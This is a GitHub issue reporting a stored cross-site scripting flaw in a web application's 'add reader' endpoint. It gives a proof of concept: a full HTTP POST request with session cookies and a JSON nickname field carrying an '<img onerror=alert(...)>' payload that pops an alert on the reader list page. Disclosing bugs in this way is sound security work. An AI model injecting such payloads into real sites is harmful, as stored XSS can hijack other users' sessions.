Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add reader has storage xss vulnerability #8

Open
Alex111998 opened this issue Mar 14, 2023 · 0 comments
Open

Add reader has storage xss vulnerability #8

Alex111998 opened this issue Mar 14, 2023 · 0 comments

Comments

@Alex111998
Copy link

Use fiddler to mock a request to add reader:

image

then the message "xss2" popup will be on reader list page:
image

the poc is :

`POST http://localhost:8080/user/addReader
Host: localhost:8080
Connection: keep-alive
Content-Length: 165
sec-ch-ua: "Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111"
Accept: /
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/reader/reader-add
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: remember-me=YWRtaW46MTY4MDAxMTIyNDI0OTozODUzZDZkM2ExOWM5ZGFjZjQxMTljODBhMDhiNTU4Yw; JSESSIONID=E6CB8F800264AE98BAED6BFC9195E0FC

Request Body

{"nickname":"<img src=1 onerror=alert("xss2") />","username":"test001","password":"123456","birthday":"","tel":"","email":"","address":"","size":"","identity":"2"}
`

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant